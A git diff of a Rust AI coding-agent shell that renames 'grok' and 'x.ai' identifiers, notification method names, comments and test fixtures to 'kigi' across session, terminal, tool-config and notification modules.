@@ -82,7 +82,7 @@ fn effective_local_ts(m: &MergedSession) -> Option<String> {
 
 #[derive(Debug, Clone, Serialize)]
 pub struct RowMeta {
-    #[serde(rename = "x.ai/session")]
+    #[serde(rename = "kigi/session")]
     pub session: SessionMetaEnvelope,
 }
 
diff --git a/crates/codegen/kigi-shell/src/session/user_message.rs b/crates/codegen/kigi-shell/src/session/user_message.rs
index 63da496..4ffdf98 100644
--- a/crates/codegen/kigi-shell/src/session/user_message.rs
+++ b/crates/codegen/kigi-shell/src/session/user_message.rs
@@ -172,7 +172,7 @@ mod tests {
     /// path doesn't regress).
     #[tokio::test]
     async fn construct_user_message_returns_without_git_status_on_bad_dir() {
-        let dir = std::path::Path::new("/tmp/nonexistent-grok-test-dir");
+        let dir = std::path::Path::new("/tmp/nonexistent-kigi-test-dir");
         let msg = construct_user_message(dir, VcsKind::Git, None, None).await;
         // user_info block is always present
         assert!(
diff --git a/crates/codegen/kigi-shell/src/session/worktree.rs b/crates/codegen/kigi-shell/src/session/worktree.rs
index 238f31a..1efc036 100644
--- a/crates/codegen/kigi-shell/src/session/worktree.rs
+++ b/crates/codegen/kigi-shell/src/session/worktree.rs
@@ -31,7 +31,7 @@ impl From<WorktreeType> for ShellWorktreeType {
 /// Create a worktree for the resume-session flow, detecting jj vs git automatically.
 ///
 /// When `git_ref` is set, forces a clean checkout of that ref (same as the
-/// manual `create_from_worktree_sync` path used by `grok -w --ref`).
+/// manual `create_from_worktree_sync` path used by `kigi -w --ref`).
 async fn create_worktree_for_resume(
     source_cwd: &str,
     copy_mode: WorktreeCopyMode,
@@ -1146,7 +1146,7 @@ mod tests {
             .unwrap();
         let list_out = String::from_utf8_lossy(&stash_list.stdout).into_owned();
         assert!(
-            list_out.contains("grok: pre-restore-code sess-dirty-wt"),
+            list_out.contains("kigi: pre-restore-code sess-dirty-wt"),
             "stash list missing session label: {list_out}"
         );
     }
diff --git a/crates/codegen/kigi-shell/src/terminal/adapter.rs b/crates/codegen/kigi-shell/src/terminal/adapter.rs
index 3f0a6aa..2a20f6a 100644
--- a/crates/codegen/kigi-shell/src/terminal/adapter.rs
+++ b/crates/codegen/kigi-shell/src/terminal/adapter.rs
@@ -217,7 +217,7 @@ async fn poll_for_terminal_exit(
 }
 
 fn wrap_command(command: &str) -> Result<String, ComputerError> {
-    // On Windows the ACP client (grok-desktop) spawns with `shell: true`
+    // On Windows the ACP client (kigi-desktop) spawns with `shell: true`
     // which delegates to cmd.exe.  Wrapping in /bin/bash would fail because
     // that path doesn't exist on Windows.  Send the raw command instead.
     #[cfg(not(unix))]
diff --git a/crates/codegen/kigi-shell/src/terminal/mod.rs b/crates/codegen/kigi-shell/src/terminal/mod.rs
index 296c203..2b15dc9 100644
--- a/crates/codegen/kigi-shell/src/terminal/mod.rs
+++ b/crates/codegen/kigi-shell/src/terminal/mod.rs
@@ -152,7 +152,7 @@ pub fn color_env() -> std::collections::HashMap<String, String> {
 }
 
 /// Returns environment variables that disable colors and ANSI escape codes in CLI
-/// tool output. Used when the client sets `x.ai/bashOutputNoColor: true` (e.g.
+/// tool output. Used when the client sets `kigi/bashOutputNoColor: true` (e.g.
 /// kigi-tui which renders its own UI and doesn't need raw ANSI codes).
 ///
 /// Follows the <https://no-color.org/> convention plus tool-specific overrides.
diff --git a/crates/codegen/kigi-shell/src/terminal/pty_session.rs b/crates/codegen/kigi-shell/src/terminal/pty_session.rs
index c6d4dc8..c4762aa 100644
--- a/crates/codegen/kigi-shell/src/terminal/pty_session.rs
+++ b/crates/codegen/kigi-shell/src/terminal/pty_session.rs
@@ -12,7 +12,7 @@ use tokio::sync::{Mutex, mpsc};
 use crate::extensions::routing::{TargetClientId, send_routed_notification};
 use crate::terminal::{TerminalExtError, TerminalInfo, TerminalStatus};
 
-const NOTIFICATION_METHOD: &str = "x.ai/terminal/pty/notification";
+const NOTIFICATION_METHOD: &str = "kigi/terminal/pty/notification";
 const OUTPUT_RING_BUFFER_SIZE: usize = 256 * 1024;
 const OUTPUT_BATCH_INTERVAL_MS: u64 = 16;
 const BUSY_POLL_INTERVAL_MS: u64 = 500;
diff --git a/crates/codegen/kigi-shell/src/terminal/runner.rs b/crates/codegen/kigi-shell/src/terminal/runner.rs
index 5aaa2da..f09c670 100644
--- a/crates/codegen/kigi-shell/src/terminal/runner.rs
+++ b/crates/codegen/kigi-shell/src/terminal/runner.rs
@@ -21,7 +21,7 @@ pub struct TerminalRunRequest {
     pub timeout: Duration,
     pub output_byte_limit: usize,
     /// Whether to stream output updates and register in the terminal registry.
-    /// - `true`: Agent tool calls (streaming updates, killable via x.ai/terminal/kill)
+    /// - `true`: Agent tool calls (streaming updates, killable via kigi/terminal/kill)
     /// - `false`: Extension methods, git helpers (no updates, not killable)
     pub stream: bool,
     /// Optional file path to write output incrementally (for background tasks).
diff --git a/crates/codegen/kigi-shell/src/test_support/lsp_runtime.rs b/crates/codegen/kigi-shell/src/test_support/lsp_runtime.rs
index cfe322c..98aef21 100644
--- a/crates/codegen/kigi-shell/src/test_support/lsp_runtime.rs
+++ b/crates/codegen/kigi-shell/src/test_support/lsp_runtime.rs
@@ -2,7 +2,7 @@ use crate::agent::subagent::SubagentSpawnContext;
 use crate::session::SessionCommand;
 use agent_client_protocol as acp;
 use kigi_acp_lib::AcpAgentGatewaySender as GatewaySender;
-use kigi_tools::implementations::grok_build::task::types::{SubagentRequest, SubagentResult};
+use kigi_tools::implementations::kigi::task::types::{SubagentRequest, SubagentResult};
 use std::collections::HashMap;
 use std::path::PathBuf;
 use std::sync::Arc;
@@ -118,7 +118,7 @@ pub(crate) fn ctx_with_toggle(toggle: HashMap<String, bool>) -> SubagentSpawnCon
         image_description_model: crate::test_support::TEST_MODEL.to_owned(),
         workspace_ops: kigi_workspace::WorkspaceOps::for_test(),
         auth_manager: Arc::new(crate::auth::AuthManager::new(
-            std::path::Path::new("/tmp/nonexistent-grok-test"),
+            std::path::Path::new("/tmp/nonexistent-kigi-test"),
             crate::auth::KimiCodeConfig::default(),
         )),
         attribution_callback: None,
diff --git a/crates/codegen/kigi-shell/src/tools/config.rs b/crates/codegen/kigi-shell/src/tools/config.rs
index bc49246..db36e06 100644
--- a/crates/codegen/kigi-shell/src/tools/config.rs
+++ b/crates/codegen/kigi-shell/src/tools/config.rs
@@ -1,8 +1,8 @@
-use kigi_tools::implementations::grok_build;
+use kigi_tools::implementations::kigi;
 use kigi_tools::registry::types::ToolConfig;
 use serde::{Deserialize, Serialize};
 
-/// Production grok-build foreground command-timeout ceiling (seconds). The
+/// Production kigi foreground command-timeout ceiling (seconds). The
 /// tool-server binary defaults to a 5-minute foreground ceiling
 /// (`DEFAULT_MAX_TIMEOUT_MS`); production opts *up* to 10h by sending this
 /// explicitly (overridable via config.toml). Bounds only foreground commands —
@@ -54,7 +54,7 @@ impl BashToolConfig {
             map.insert("timeout_secs".into(), t.into());
         }
         // The tool-server binary defaults the foreground ceiling to 5 min;
-        // production grok-build opts up to 10h by sending it explicitly
+        // production kigi opts up to 10h by sending it explicitly
         // (overridable via config.toml). Foreground-only; background stays unbounded.
         let max_timeout_secs = self.max_timeout_secs.unwrap_or(PRODUCTION_MAX_TIMEOUT_SECS);
         map.insert("max_timeout_secs".into(), max_timeout_secs.into());
@@ -124,7 +124,7 @@ impl WebFetchToolConfig {
         remote_proxy: Option<&str>,
         remote_domains: Option<&[String]>,
         context_window_tokens: Option<u64>,
-    ) -> kigi_tools::implementations::grok_build::web_fetch::WebFetchParams {
+    ) -> kigi_tools::implementations::kigi::web_fetch::WebFetchParams {
         use crate::agent::config::env_string;
 
         let proxy_endpoint = self
@@ -140,7 +140,7 @@ impl WebFetchToolConfig {
             .cloned()
             .or_else(|| remote_domains.map(|d| d.to_vec()));
 
-        kigi_tools::implementations::grok_build::web_fetch::WebFetchParams {
+        kigi_tools::implementations::kigi::web_fetch::WebFetchParams {
             proxy_endpoint,
             allowed_domains,
             context_window_tokens,
@@ -254,8 +254,8 @@ impl HashlineSchemeConfig {
 
 /// Which set of read/edit/search tools to use for file operations.
 ///
-/// Selects between the standard `GrokBuild` toolset (`read_file`,
-/// `search_replace`, `grep`) and the anchor-based `GrokBuildHashline`
+/// Selects between the standard `Kigi` toolset (`read_file`,
+/// `search_replace`, `grep`) and the anchor-based `KigiHashline`
 /// toolset (`hashline_read`, `hashline_edit`, `hashline_grep`).
 /// The two are mutually exclusive.
 #[derive(Debug, Clone, Copy, PartialEq, Eq, Default, Serialize, Deserialize)]
@@ -279,9 +279,9 @@ impl FileToolset {
     ) -> Result<Vec<ToolConfig>, String> {
         match self {
             Self::Standard => Ok(vec![
-                ToolConfig::for_tool::<grok_build::ReadFileTool>(),
-                ToolConfig::for_tool::<grok_build::SearchReplaceTool>(),
-                ToolConfig::for_tool::<grok_build::GrepTool>(),
+                ToolConfig::for_tool::<kigi::ReadFileTool>(),
+                ToolConfig::for_tool::<kigi::SearchReplaceTool>(),
+                ToolConfig::for_tool::<kigi::GrepTool>(),
             ]),
             Self::Hashline => {
                 hashline_config.validate()?;
@@ -296,7 +296,7 @@ impl FileToolset {
                 };
                 Ok(vec![
                     ToolConfig {
-                        id: "GrokBuildHashline:hashline_read".to_owned(),
+                        id: "KigiHashline:hashline_read".to_owned(),
                         params: params_map.clone(),
                         name_override: None,
                         params_name_overrides: None,
@@ -305,7 +305,7 @@ impl FileToolset {
                         kind: None,
                     },
                     ToolConfig {
-                        id: "GrokBuildHashline:hashline_edit".to_owned(),
+                        id: "KigiHashline:hashline_edit".to_owned(),
                         params: params_map.clone(),
                         name_override: None,
                         params_name_overrides: None,
@@ -314,7 +314,7 @@ impl FileToolset {
                         kind: None,
                     },
                     ToolConfig {
-                        id: "GrokBuildHashline:hashline_grep".to_owned(),
+                        id: "KigiHashline:hashline_grep".to_owned(),
                         params: params_map,
                         name_override: None,
                         params_name_overrides: None,
@@ -344,9 +344,9 @@ mod tests {
             .unwrap();
         assert_eq!(configs.len(), 3);
         let ids: Vec<&str> = configs.iter().map(|c| c.id.as_str()).collect();
-        assert!(ids.contains(&"GrokBuild:read_file"));
-        assert!(ids.contains(&"GrokBuild:search_replace"));
-        assert!(ids.contains(&"GrokBuild:grep"));
+        assert!(ids.contains(&"Kigi:read_file"));
+        assert!(ids.contains(&"Kigi:search_replace"));
+        assert!(ids.contains(&"Kigi:grep"));
     }
 
     #[test]
@@ -356,9 +356,9 @@ mod tests {
             .unwrap();
         assert_eq!(configs.len(), 3);
         let ids: Vec<&str> = configs.iter().map(|c| c.id.as_str()).collect();
-        assert!(ids.contains(&"GrokBuildHashline:hashline_read"));
-        assert!(ids.contains(&"GrokBuildHashline:hashline_edit"));
-        assert!(ids.contains(&"GrokBuildHashline:hashline_grep"));
+        assert!(ids.contains(&"KigiHashline:hashline_read"));
+        assert!(ids.contains(&"KigiHashline:hashline_edit"));
+        assert!(ids.contains(&"KigiHashline:hashline_grep"));
     }
 
     /// Plan/explore omit `search_replace` by contract ("no Write/Edit/
@@ -379,7 +379,7 @@ mod tests {
                 !def.tool_config
                     .tools
                     .iter()
-                    .any(|t| t.id == "GrokBuild:search_replace"),
+                    .any(|t| t.id == "Kigi:search_replace"),
                 "{name}: fixture must be read-only before the override"
             );
             def.override_file_tools(file_tools.clone());
@@ -391,13 +391,13 @@ mod tests {
                 .collect();
             // The swap engages (read moves to hashline)...
             assert!(
-                ids.contains(&"GrokBuildHashline:hashline_read"),
+                ids.contains(&"KigiHashline:hashline_read"),
                 "{name}: {ids:?}"
             );
-            assert!(!ids.contains(&"GrokBuild:read_file"), "{name}: {ids:?}");
+            assert!(!ids.contains(&"Kigi:read_file"), "{name}: {ids:?}");
             // ...but never grants the edit slot.
             assert!(
-                !ids.contains(&"GrokBuildHashline:hashline_edit"),
+                !ids.contains(&"KigiHashline:hashline_edit"),
                 "{name}: override granted an edit tool to a no-edit toolset: {ids:?}"
             );
         }
@@ -595,7 +595,7 @@ mod tests {
         assert_eq!(
             max_timeout(&local.to_bash_params_json(None, None)),
             Some(PRODUCTION_MAX_TIMEOUT_SECS),
-            "production grok-build must set the 10h foreground ceiling"
+            "production kigi must set the 10h foreground ceiling"
         );
     }
 
diff --git a/crates/codegen/kigi-shell/src/tools/notification_bridge.rs b/crates/codegen/kigi-shell/src/tools/notification_bridge.rs
index c751753..e51b165 100644
--- a/crates/codegen/kigi-shell/src/tools/notification_bridge.rs
+++ b/crates/codegen/kigi-shell/src/tools/notification_bridge.rs
@@ -39,7 +39,7 @@ pub struct NotificationBridgeConfig {
     pub persistence_tx: mpsc::UnboundedSender<PersistenceMsg>,
     /// When true, send incremental `output_delta` instead of full `output`
     /// in bash streaming updates. The client must opt in via the
-    /// `x.ai/incrementalBashOutput` capability.
+    /// `kigi/incrementalBashOutput` capability.
     pub incremental_bash_output: bool,
     /// Plan mode tracker shared with the session actor.
     /// Used to transition state on `PlanModeEntered` / `PlanModeExited`
@@ -73,7 +73,7 @@ pub struct NotificationBridgeConfig {
     /// `InjectNotification` path instead of immediate synthetic prompts.
     pub auto_wake_enabled: bool,
     /// When `true`, an approved `PlanModeExited` also arms the tracker's
-    /// next-turn exit reminder. Grok-build leaves this `false` — its
+    /// next-turn exit reminder. Kigi-build leaves this `false` — its
     /// exit-plan tool result already informs the model, and a deferred
     /// reminder would arrive stale. Shared with the session actor (the
     /// `gateway_enabled` pattern) and refreshed on zero-turn rebuilds so the
@@ -248,7 +248,7 @@ async fn handle_notification(
                 "Bash execution backgrounded notification received — forwarding to TUI"
             );
 
-            // Forward as x.ai/task_backgrounded ExtNotification so the TUI can
+            // Forward as kigi/task_backgrounded ExtNotification so the TUI can
             // correlate tool_call_id with task_id and populate the tasks panel.
             let mut notification = crate::extensions::notification::SessionNotification {
                 session_id: config.session_id.clone(),
@@ -279,7 +279,7 @@ async fn handle_notification(
                 .ok();
             if let Some(params) = params {
                 let ext_notification =
-                    acp::ExtNotification::new("x.ai/task_backgrounded", params.into());
+                    acp::ExtNotification::new("kigi/task_backgrounded", params.into());
                 config.gateway.forward_fire_and_forget(ext_notification);
             }
         }
@@ -327,7 +327,7 @@ async fn handle_notification(
             // same way bash does. Relying only on the pipeline's terminal
             // `MonitorEvent` + idle-gated `InjectNotification` was easy to miss
             // when the agent was idle and the monitor produced no further
-            // stdout. The pager still receives x.ai/task_completed below for UI.
+            // stdout. The pager still receives kigi/task_completed below for UI.
             // Stamped on the completion notification below so the pager knows
             // whether a wake response follows the chip.
             let mut will_wake = false;
@@ -460,7 +460,7 @@ async fn handle_notification(
                 .ok();
             if let Some(params) = params {
                 let notification: acp::ExtNotification =
-                    acp::ExtNotification::new("x.ai/task_completed", params.into());
+                    acp::ExtNotification::new("kigi/task_completed", params.into());
                 config.gateway.forward_fire_and_forget(notification);
             }
 
@@ -582,7 +582,7 @@ async fn handle_notification(
                 config
                     .gateway
                     .forward_fire_and_forget(acp::ExtNotification::new(
-                        "x.ai/scheduled_task_inject_prompt",
+                        "kigi/scheduled_task_inject_prompt",
                         params.into(),
                     ));
             }
@@ -603,7 +603,7 @@ async fn handle_notification(
                 config
                     .gateway
                     .forward_fire_and_forget(acp::ExtNotification::new(
-                        "x.ai/scheduled_task_fired",
+                        "kigi/scheduled_task_fired",
                         params.into(),
                     ));
             }
@@ -652,7 +652,7 @@ async fn handle_notification(
                 config
                     .gateway
                     .forward_fire_and_forget(acp::ExtNotification::new(
-                        "x.ai/monitor_event",
+                        "kigi/monitor_event",
                         params.into(),
                     ));
             }
@@ -711,7 +711,7 @@ async fn handle_notification(
                 config
                     .gateway
                     .forward_fire_and_forget(acp::ExtNotification::new(
-                        "x.ai/scheduled_task_deleted",
+                        "kigi/scheduled_task_deleted",
                         params.into(),
                     ));
             }
@@ -752,7 +752,7 @@ async fn handle_notification(
                 config
                     .gateway
                     .forward_fire_and_forget(acp::ExtNotification::new(
-                        "x.ai/scheduled_task_created",
+                        "kigi/scheduled_task_created",
                         params.into(),
                     ));
             }
@@ -901,7 +901,7 @@ mod tests {
     /// must NOT fire the synthetic auto-wake prompt — an async "task completed"
     /// wake mid-goal derails a weak model. It must also NOT be marked
     /// auto-wake-delivered (so surface 2's `TaskCompletionReminder` is free to
-    /// drain it). The pager's `x.ai/task_completed` notification still fires.
+    /// drain it). The pager's `kigi/task_completed` notification still fires.
     #[tokio::test]
     async fn bash_task_completed_suppresses_auto_wake_during_goal_loop() {
         let (config, mut gateway_rx, _persistence_rx, mut cmd_rx) = make_test_config_full();
@@ -946,14 +946,14 @@ mod tests {
         let mut found_ext = false;
         while let Ok(msg) = gateway_rx.try_recv() {
             if let kigi_acp_lib::AcpClientMessage::ExtNotification(args) = msg
-                && args.request.method.as_ref() == "x.ai/task_completed"
+                && args.request.method.as_ref() == "kigi/task_completed"
             {
                 found_ext = true;
             }
         }
         assert!(
             found_ext,
-            "x.ai/task_completed ExtNotification must still be sent for UI"
+            "kigi/task_completed ExtNotification must still be sent for UI"
         );
     }
 
@@ -995,13 +995,13 @@ mod tests {
         );
     }
 
-    /// `will_wake` off the emitted `x.ai/task_completed` params.
+    /// `will_wake` off the emitted `kigi/task_completed` params.
     fn task_completed_will_wake(
         gateway_rx: &mut mpsc::UnboundedReceiver<kigi_acp_lib::AcpClientMessage>,
     ) -> Option<bool> {
         while let Ok(msg) = gateway_rx.try_recv() {
             if let kigi_acp_lib::AcpClientMessage::ExtNotification(args) = msg
-                && args.request.method.as_ref() == "x.ai/task_completed"
+                && args.request.method.as_ref() == "kigi/task_completed"
             {
                 let v: serde_json::Value = serde_json::from_str(args.request.params.get()).ok()?;
                 return v["update"]["will_wake"].as_bool();
@@ -1557,7 +1557,7 @@ mod tests {
             if let kigi_acp_lib::AcpClientMessage::ExtNotification(args) = msg {
                 assert_ne!(
                     args.request.method.as_ref(),
-                    "x.ai/monitor_event",
+                    "kigi/monitor_event",
                     "cross-session monitor event must not be forwarded to the pager"
                 );
             }
@@ -1587,7 +1587,7 @@ mod tests {
 
     #[tokio::test]
     async fn legacy_monitor_event_without_owner_is_injected() {
-        // Legacy / non-grok-build backends record no owner; such events must
+        // Legacy / non-kigi backends record no owner; such events must
         // pass through unchanged for backwards compatibility.
         let (config, mut cmd_rx) = make_test_config();
         let notification = make_monitor_event_notification("mon-legacy", None);
@@ -1635,18 +1635,18 @@ mod tests {
             "block_waited completion should not send Prompt or InjectNotification"
         );
 
-        // The x.ai/task_completed ExtNotification for UI updates must still be sent.
+        // The kigi/task_completed ExtNotification for UI updates must still be sent.
         let mut found_ext = false;
         while let Ok(msg) = gateway_rx.try_recv() {
             if let kigi_acp_lib::AcpClientMessage::ExtNotification(args) = msg
-                && args.request.method.as_ref() == "x.ai/task_completed"
+                && args.request.method.as_ref() == "kigi/task_completed"
             {
                 found_ext = true;
             }
         }
         assert!(
             found_ext,
-            "x.ai/task_completed ExtNotification must still be sent for UI"
+            "kigi/task_completed ExtNotification must still be sent for UI"
         );
     }
 
@@ -1676,18 +1676,18 @@ mod tests {
             "explicitly_killed completion should not send Prompt or InjectNotification"
         );
 
-        // The x.ai/task_completed ExtNotification for UI updates must still be sent.
+        // The kigi/task_completed ExtNotification for UI updates must still be sent.
         let mut found_ext = false;
         while let Ok(msg) = gateway_rx.try_recv() {
             if let kigi_acp_lib::AcpClientMessage::ExtNotification(args) = msg
-                && args.request.method.as_ref() == "x.ai/task_completed"
+                && args.request.method.as_ref() == "kigi/task_completed"
             {
                 found_ext = true;
             }
         }
         assert!(
             found_ext,
-            "x.ai/task_completed ExtNotification must still be sent for UI"
+            "kigi/task_completed ExtNotification must still be sent for UI"
         );
     }
 
@@ -1839,7 +1839,7 @@ mod tests {
         ));
     }
 
-    /// Default (grok) polarity: the exit_plan_mode tool result is the model's
+    /// Default (kigi) polarity: the exit_plan_mode tool result is the model's
     /// only exit signal, so an approved `PlanModeExited` must NOT arm the
     /// deferred exit reminder — in memory or in the persisted snapshot.
     /// Sibling of `plan_mode_exited_arms_exit_reminder_when_gated`.
@@ -1854,7 +1854,7 @@ mod tests {
 
         let notification =
             ToolNotification::PlanModeExited(kigi_tools::notification::types::PlanModeExited {
-                tool_call_id: "tc-exit-grok".into(),
+                tool_call_id: "tc-exit-kigi".into(),
                 plan_content: Some("- step 1".into()),
                 plan_file_path: "/tmp/test-session/plan.md".into(),
             });
diff --git a/crates/codegen/kigi-shell/src/tools/todo.rs b/crates/codegen/kigi-shell/src/tools/todo.rs
index 71acdf6..d02e4b8 100644
--- a/crates/codegen/kigi-shell/src/tools/todo.rs
+++ b/crates/codegen/kigi-shell/src/tools/todo.rs
@@ -3,11 +3,11 @@
 //! Types are canonical in `kigi-tools`. This module adds ACP ↔ TodoItem
 //! conversions since `kigi-tools` is protocol-agnostic.
 
-pub use kigi_tools::implementations::grok_build::todo::TodoId;
-pub use kigi_tools::implementations::grok_build::todo::TodoItem;
-pub use kigi_tools::implementations::grok_build::todo::TodoPriority;
-pub use kigi_tools::implementations::grok_build::todo::TodoState;
-pub use kigi_tools::implementations::grok_build::todo::TodoStatus;
+pub use kigi_tools::implementations::kigi::todo::TodoId;
+pub use kigi_tools::implementations::kigi::todo::TodoItem;
+pub use kigi_tools::implementations::kigi::todo::TodoPriority;
+pub use kigi_tools::implementations::kigi::todo::TodoState;
+pub use kigi_tools::implementations::kigi::todo::TodoStatus;
 
 use agent_client_protocol as acp;
 
diff --git a/crates/codegen/kigi-shell/src/tools/tool_context.rs b/crates/codegen/kigi-shell/src/tools/tool_context.rs
index 3e99fd8..69fd76a 100644
--- a/crates/codegen/kigi-shell/src/tools/tool_context.rs
+++ b/crates/codegen/kigi-shell/src/tools/tool_context.rs
@@ -60,7 +60,7 @@ pub struct ToolContext {
     /// `None` if subagent support is not enabled.
     pub subagent_event_tx: Option<
         tokio::sync::mpsc::UnboundedSender<
-            kigi_tools::implementations::grok_build::task::types::SubagentEvent,
+            kigi_tools::implementations::kigi::task::types::SubagentEvent,
         >,
     >,
     /// Shared LSP runtime — cloned cheaply (Arc) from parent to child.
@@ -76,7 +76,7 @@ pub struct ToolContext {
     /// (`inject_pending_monitor_events`) and surfaced as ONE hidden
     /// synthetic user message before the next sampling step.
     pub monitor_event_buffer:
-        Option<kigi_tools::implementations::grok_build::task::types::MonitorEventBuffer>,
+        Option<kigi_tools::implementations::kigi::task::types::MonitorEventBuffer>,
     /// Shared set of IDs delivered via auto-wake synthetic prompts.
     /// Used by `TaskCompletionReminder` to suppress duplicate reminders.
     pub auto_wake_delivered: Option<kigi_tools::reminders::task_completion::AutoWakeDeliveredIds>,
diff --git a/crates/codegen/kigi-shell/src/trace_classifier/mod.rs b/crates/codegen/kigi-shell/src/trace_classifier/mod.rs
index 4ae90ba..d18adc1 100644
--- a/crates/codegen/kigi-shell/src/trace_classifier/mod.rs
+++ b/crates/codegen/kigi-shell/src/trace_classifier/mod.rs
@@ -599,10 +599,10 @@ pub fn build_classifier_request(
         temperature: Some(0.0),
         max_output_tokens: Some(LAZINESS_MAX_OUTPUT_TOKENS),
         reasoning_effort: None,
-        x_grok_conv_id: session_id_str.clone(),
-        x_grok_req_id: Some(format!("{LAZINESS_REQ_ID_PREFIX}{}", uuid::Uuid::new_v4())),
-        x_grok_session_id: session_id_str,
-        x_grok_agent_id: Some(crate::util::agent_id::agent_id()),
+        x_kigi_conv_id: session_id_str.clone(),
+        x_kigi_req_id: Some(format!("{LAZINESS_REQ_ID_PREFIX}{}", uuid::Uuid::new_v4())),
+        x_kigi_session_id: session_id_str,
+        x_kigi_agent_id: Some(crate::util::agent_id::agent_id()),
         ..ConversationRequest::default()
     }
 }
@@ -957,7 +957,7 @@ pub struct RunArgs {
     /// override surface for the offline tool — production resolves
     /// `LazinessDetectorPerModelConfig::include_reasoning` separately.
     pub include_reasoning: Option<bool>,
-    /// Grok-home directory containing the `auth.json` to consult as
+    /// Kigi-home directory containing the `auth.json` to consult as
     /// the third API-key fallback. Defaults to
     /// `kigi_shell::util::kigi_home::kigi_home()` when `None`.
     /// Exposed as a CLI flag for testability.
@@ -1053,7 +1053,7 @@ pub async fn resolve_api_key(explicit: Option<&str>, kigi_home: &Path) -> Result
     }
     Err(anyhow!(
         "no API key: pass --api-key, set XAI_API_KEY, or run `kigi login` to populate \
-         <grok-home>/auth.json. An expired OIDC token is auto-refreshed when a refresh_token \
+         <kigi-home>/auth.json. An expired OIDC token is auto-refreshed when a refresh_token \
          is present; if not, re-login is required."
     ))
 }
@@ -1061,7 +1061,7 @@ pub async fn resolve_api_key(explicit: Option<&str>, kigi_home: &Path) -> Result
 /// Build an `AuthManager` for `kigi_home`, install the
 /// non-interactive refresher chain, and ask for a usable key. Mirrors
 /// the body of [`crate::auth::try_ensure_fresh_auth`] but accepts an
-/// explicit `kigi_home` so `--grok-home` overrides work in test
+/// explicit `kigi_home` so `--kigi-home` overrides work in test
 /// fixtures (the upstream helper hardcodes the global `kigi_home()`
 /// path).
 ///
@@ -1874,9 +1874,9 @@ mod tests {
         assert!(req.hosted_tools.is_empty());
         assert!(req.tool_choice.is_none());
 
-        assert_eq!(req.x_grok_conv_id.as_deref(), Some("sess-x"));
-        assert_eq!(req.x_grok_session_id.as_deref(), Some("sess-x"));
-        let req_id = req.x_grok_req_id.as_deref().expect("req id");
+        assert_eq!(req.x_kigi_conv_id.as_deref(), Some("sess-x"));
+        assert_eq!(req.x_kigi_session_id.as_deref(), Some("sess-x"));
+        let req_id = req.x_kigi_req_id.as_deref().expect("req id");
         // N3: shared const for the prefix.
         let suffix = req_id
             .strip_prefix(LAZINESS_REQ_ID_PREFIX)
@@ -1888,7 +1888,7 @@ mod tests {
         assert!(!parsed.is_nil());
 
         assert_eq!(
-            req.x_grok_agent_id.as_deref(),
+            req.x_kigi_agent_id.as_deref(),
             Some(crate::util::agent_id::agent_id().as_str())
         );
     }
diff --git a/crates/codegen/kigi-shell/src/util/agent_id.rs b/crates/codegen/kigi-shell/src/util/agent_id.rs
index dca5387..ebc9815 100644
--- a/crates/codegen/kigi-shell/src/util/agent_id.rs
+++ b/crates/codegen/kigi-shell/src/util/agent_id.rs
@@ -1,6 +1,6 @@
 //! Stable per-install agent identifier.
 //!
-//! Stamped on requests (`x-grok-agent-id` / `x_grok_agent_id`) so the backend
+//! Stamped on requests (`x-kigi-agent-id` / `x_kigi_agent_id`) so the backend
 //! can bucket by install. Cached in `$KIGI_SHARE_DIR/agent_id` so every process on
 //! this install (and restarts) agree; the in-memory `OnceLock` makes repeat
 //! calls free.
@@ -12,7 +12,7 @@ static AGENT_ID: OnceLock<String> = OnceLock::new();
 /// Cached agent instance ID — per-process lifetime.
 static AGENT_INSTANCE_ID: OnceLock<String> = OnceLock::new();
 
-/// Returns the per-install agent ID, backed by a file cache under the grok
+/// Returns the per-install agent ID, backed by a file cache under the kigi
 /// home so it is stable across process restarts.
 pub fn agent_id() -> String {
     AGENT_ID.get_or_init(load_or_compute_agent_id).clone()
diff --git a/crates/codegen/kigi-shell/src/util/config/campaigns.rs b/crates/codegen/kigi-shell/src/util/config/campaigns.rs
index 5347749..a6e382b 100644
--- a/crates/codegen/kigi-shell/src/util/config/campaigns.rs
+++ b/crates/codegen/kigi-shell/src/util/config/campaigns.rs
@@ -74,7 +74,7 @@ fn dismiss_campaign_ids_at(
     let _guard = DISMISS_LOCK.lock().unwrap_or_else(|p| p.into_inner());
     let path = campaigns_state_path(home);
     // Cross-process advisory lock over the read-modify-write: in leader mode
-    // several grok processes share `$KIGI_SHARE_DIR`; the in-process mutex alone would
+    // several kigi processes share `$KIGI_SHARE_DIR`; the in-process mutex alone would
     // let them lose-update the set. Best-effort; a lock failure still proceeds.
     let lock = std::fs::OpenOptions::new()
         .create(true)
diff --git a/crates/codegen/kigi-shell/src/util/config/load.rs b/crates/codegen/kigi-shell/src/util/config/load.rs
index 0f52716..ea2e9c3 100644
--- a/crates/codegen/kigi-shell/src/util/config/load.rs
+++ b/crates/codegen/kigi-shell/src/util/config/load.rs
@@ -142,7 +142,7 @@ mod tests {
     fn test_models_default_parsing() {
         let toml_str = r#"
 [models]
-default = "grok-code-fast-1"
+default = "kigi-code-fast-1"
 "#;
         let root: TomlValue = toml::from_str(toml_str).unwrap();
         if let TomlValue::Table(table) = root
@@ -152,7 +152,7 @@ default = "grok-code-fast-1"
                 .get("default")
                 .and_then(|v| v.as_str())
                 .map(|s| s.to_string());
-            assert_eq!(default.as_deref(), Some("grok-code-fast-1"));
+            assert_eq!(default.as_deref(), Some("kigi-code-fast-1"));
         } else {
             panic!("Expected models table");
         }
@@ -198,7 +198,7 @@ secret = "my-secret-token"
     fn test_remote_secret_no_section() {
         let toml_str = r#"
 [models]
-default = "grok-code-fast-1"
+default = "kigi-code-fast-1"
 "#;
         let root: TomlValue = toml::from_str(toml_str).unwrap();
         if let TomlValue::Table(table) = root {
diff --git a/crates/codegen/kigi-shell/src/util/config/mcp.rs b/crates/codegen/kigi-shell/src/util/config/mcp.rs
index b62afa5..52b4f6a 100644
--- a/crates/codegen/kigi-shell/src/util/config/mcp.rs
+++ b/crates/codegen/kigi-shell/src/util/config/mcp.rs
@@ -1329,7 +1329,7 @@ auto_update = true
         // Test with no cli section at all
         let toml_str = r#"
 [models]
-default = "grok-code-fast-1"
+default = "kigi-code-fast-1"
 "#;
         let root: TomlValue = toml::from_str(toml_str).unwrap();
         if let TomlValue::Table(ref table) = root {
@@ -1374,7 +1374,7 @@ auto_update = true
     fn test_use_leader_opt_returns_none_when_no_cli_section() {
         let toml_str = r#"
 [models]
-default = "grok-code-fast-1"
+default = "kigi-code-fast-1"
 "#;
         let root: TomlValue = toml::from_str(toml_str).unwrap();
         assert_eq!(use_leader_from_toml_opt(&root), None);
@@ -1702,10 +1702,10 @@ expose_image_base64 = true
     #[test]
